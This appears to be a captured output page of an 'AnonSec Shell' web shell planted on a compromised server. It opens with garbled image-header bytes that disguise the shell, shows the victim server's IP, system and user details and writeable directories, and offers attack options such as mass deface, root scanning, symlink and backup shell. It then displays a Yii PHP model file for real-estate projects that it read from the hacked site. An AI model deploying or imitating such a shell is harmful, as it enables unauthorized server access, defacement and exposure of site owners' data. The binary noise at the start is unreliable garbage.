JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/httpdocs/backend/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/httpdocs/backend/models/Project.php
<?php

namespace backend\models;

use Yii;
use yii\helpers\ArrayHelper;
use yii\helpers\Html;
use yii\helpers\Url;

use \common\models\Project as CommonProject;
use \common\models\ProjectImage;
use common\models\ProjectBlueprint;

use common\modules\resizer\helpers\ResizeFilter;

/**
 * This is the model class for table "Project".
 */
class Project extends CommonProject
{
  
    public $uploadedImages;
    
     public $uploadedBlueprints;

    public function rules(){
        $parentRules = parent::rules();
        $parentRules[] = [['uploadedImages'], 'file', 'skipOnEmpty' => true, 'maxFiles' => 30];
        $parentRules[] = [['uploadedBlueprints'], 'file', 'skipOnEmpty' => true, 'maxFiles' => 30];
        return $parentRules;
    }

    public function attributeLabels(){
        $parentAttributeLabels = parent::attributeLabels();
        $parentAttributeLabels['uploadedImages'] = Yii::t('app', 'Upload Images');
        $parentAttributeLabels['uploadedBlueprints'] = Yii::t('app', 'Subir planos');
        return $parentAttributeLabels;
    }

    /*TODO: Refactor saveImagesOnDisk, now is saving images on disk and creating new ProjectImage objects*/
    public function saveImagesOnDisk(){
        $isValid = false;

        if ($this->validate()) {
            $imageNextPosition = $this->getImageNextPosition();
            foreach ($this->uploadedImages as $key => $file) {
                $projectImage = new ProjectImage;
                $fileName = sprintf('%d-%s.%s',
                                        $this->id,
                                        \common\helpers\Slugs::slugify($file->baseName),
                                        $file->extension);

                $projectImage->project_id = $this->id;
                $projectImage->file_name = $fileName;
                $projectImage->sort_order = $imageNextPosition;
                if ($imageNextPosition===0) {
                  $projectImage->is_main = 1;
                }
                $projectImage->save();

                $file->saveAs($projectImage->fileFullPath);
                $imageNextPosition++;
            }
            $isValid = true;
            
        }

        return $isValid;
    }

    public function getImageNextPosition(){
        $latestPosition = $this->getImageLatestPosition();
        $nextPosition = isset($latestPosition) ? $latestPosition + 1 : 0;

        return $nextPosition;
    }

    public function getImageLatestPosition(){
        $latestPositionProjectImage = $this->getProjectImages()
                            ->select('sort_order')
                            ->orderBy(['sort_order' => SORT_DESC])
                            ->one();
        $latestPosition = isset($latestPositionProjectImage) ? $latestPositionProjectImage->sort_order : null;
        return $latestPosition;
    }

    public function getProjectImagesForSortableWidget(){
        $projectImagesArray = [];
        $projectImages = $this->getProjectImages()
                            ->orderBy(['sort_order' => SORT_ASC])
                            ->all();
        foreach ($projectImages as $projectImage) {
            $image = Html::img(ResizeFilter::apply('uploads/projects/'.$projectImage->file_name, 'ProjectSmall'));
            $deleteButton = Html::a('',
                    '', [
                    'class' => 'btn btn-danger btn-xs glyphicon glyphicon-remove delete-project-image',
                    'data' => [
                        'message' => Yii::t('app', 'Are you sure you want to delete this Image?'),
                        'url' => Url::toRoute(['project/delete-project-image', 'id'=>$projectImage->id])
                    ],
                ]);

            $projectImagesArray[$projectImage->id] = [
                'content' => $image.$deleteButton,
            ];
        }
        return $projectImagesArray;
    }

    public function getOrderOfProjectImagesForSortableWidget(){
        $projectImages = $this->getProjectImages()
                            ->select('id')
                            ->orderBy(['sort_order' => SORT_ASC])
                            ->all();
        $projectImageIds = ArrayHelper::getColumn($projectImages, 'id');
        $projectImageIdsAsString = implode(',', $projectImageIds);

        return $projectImageIdsAsString;
    }

    public function reorderProjectImages($idsSorted){
        // remote empty items
        foreach ($idsSorted as $k => $v) {
          if (empty($v)) {
            unset($idsSorted[$k]);
          }
        }
        if (count($idsSorted)>0) {
            foreach ($idsSorted as $newPosition => $id) {
                $projectImage = ProjectImage::findOne($id);
                $projectImage->sort_order = $newPosition;
                if ($newPosition===0) {
                  $projectImage->is_main = 1;
                } else {
                  $projectImage->is_main = 0;
                }
                $projectImage->save();
//                \yii\helpers\VarDumper::dump($projectImage->attributes, 10, true);
//                \yii\helpers\VarDumper::dump($projectImage->getErrors(), 10, true);
            }
//            \yii\helpers\VarDumper::dump($idsSorted, 10, true);
//            die();
        }
    }
    
    /*Blueprints methods*/
    
    public function saveBlueprintsOnDisk(){
        $isValid = false;

        if ($this->validate()) {
            $blueprintNextPosition = $this->getBlueprintNextPosition();
            foreach ($this->uploadedBlueprints as $key => $file) {
                $projectBlueprint = new ProjectBlueprint;
                $fileName = sprintf('%d-%s.%s',
                                        $this->id,
                                        \common\helpers\Slugs::slugify($file->baseName),
                                        $file->extension);

                $projectBlueprint->project_id = $this->id;
                $projectBlueprint->file_name = $fileName;
                $projectBlueprint->sort_order = $blueprintNextPosition;
                if ($blueprintNextPosition===0) {
                  $projectBlueprint->is_main = 1;
                }
                $projectBlueprint->save();

                $file->saveAs($projectBlueprint->fileFullPath);
                $blueprintNextPosition++;
            }
            $isValid = true;
            
        }

        return $isValid;
    }

    public function getBlueprintNextPosition(){
        $latestPosition = $this->getBlueprintLatestPosition();
        $nextPosition = isset($latestPosition) ? $latestPosition + 1 : 0;

        return $nextPosition;
    }

    public function getBlueprintLatestPosition(){
        $latestPositionProjectBlueprint = $this->getProjectBlueprints()
                            ->select('sort_order')
                            ->orderBy(['sort_order' => SORT_DESC])
                            ->one();
        $latestPosition = isset($latestPositionProjectBlueprint) ? $latestPositionProjectBlueprint->sort_order : null;
        return $latestPosition;
    }

    public function getProjectBlueprintsForSortableWidget(){
        $projectBlueprintsArray = [];
        $projectBlueprints = $this->getProjectBlueprints()
                            ->orderBy(['sort_order' => SORT_ASC])
                            ->all();
        foreach ($projectBlueprints as $projectBlueprint) {
//            $blueprint = Html::img($projectBlueprint->url);
            $blueprint = Html::img(ResizeFilter::apply('uploads/projects-blueprint/'.$projectBlueprint->file_name, 'ProjectSmall'));
            $deleteButton = Html::a('',
                    '', [
                    'class' => 'btn btn-danger btn-xs glyphicon glyphicon-remove delete-project-blueprint',
                    'data' => [
                        'message' => Yii::t('app', 'Are you sure you want to delete this Blueprint?'),
                        'url' => Url::toRoute(['project/delete-project-blueprint', 'id'=>$projectBlueprint->id])
                    ],
                ]);

            $projectBlueprintsArray[$projectBlueprint->id] = [
                'content' => $blueprint.$deleteButton,
            ];
        }
        return $projectBlueprintsArray;
    }

    public function getOrderOfProjectBlueprintsForSortableWidget(){
        $projectBlueprints = $this->getProjectBlueprints()
                            ->select('id')
                            ->orderBy(['sort_order' => SORT_ASC])
                            ->all();
        $projectBlueprintIds = ArrayHelper::getColumn($projectBlueprints, 'id');
        $projectBlueprintIdsAsString = implode(',', $projectBlueprintIds);

        return $projectBlueprintIdsAsString;
    }

    public function reorderProjectBlueprints($idsSorted){
        // remote empty items
        foreach ($idsSorted as $k => $v) {
          if (empty($v)) {
            unset($idsSorted[$k]);
          }
        }
//        \yii\helpers\VarDumper::dump($idsSorted, 10, true);
//        die();
        if (count($idsSorted)>0) {
            foreach ($idsSorted as $newPosition => $id) {
                $projectBlueprint = ProjectBlueprint::findOne($id);
                $projectBlueprint->sort_order = $newPosition;
                if ($newPosition===0) {
                  $projectBlueprint->is_main = 1;
                } else {
                  $projectBlueprint->is_main = 0;
                }
                $projectBlueprint->save();
            }
        }
    }
}

Anon7 - 2022
AnonSec Team